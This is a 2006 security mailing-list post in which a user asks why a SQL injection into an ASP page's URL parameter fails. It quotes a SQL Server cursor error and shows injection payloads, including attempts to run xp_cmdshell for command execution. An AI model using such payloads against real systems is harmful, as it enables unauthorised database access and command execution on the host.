full-disclosure - SQL Injection with cursors?

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Message-ID: <BAY125-F13B03163885AC01D9B4915B8F10@phx.gbl>
Date: Wed, 08 Nov 2006 16:33:08 +0000
From: "Andres Molinetti" <andymolinetti@...mail.com>
To: full-disclosure@...ts.grok.org.uk
Cc: webappsec@...urityfocus.com
Subject: SQL Injection with cursors?

Hi,

I have another question, somehow related with my previous one.

I have an injection point, where I can do, for example

        test.asp?param=blabla' and 1=(select @@version)--

and injections of the sort, and retrieve the information without problems.

Now, when I try to execute a stored procedure like

       test.asp?param=blabla' exec master..xp_cmdshell 'dir'--

or

       test.asp?param=blabla'; exec master..xp_cmdshell 'dir'--

I get the following error:

Microsoft OLE DB Provider for SQL Server error '80040e14'
sp_cursoropen/sp_cursorprepare: The statement parameter can only be a single
select or a single stored procedure.

Does anybody got an idea of why this is happening?

Best Regards,

Andy.

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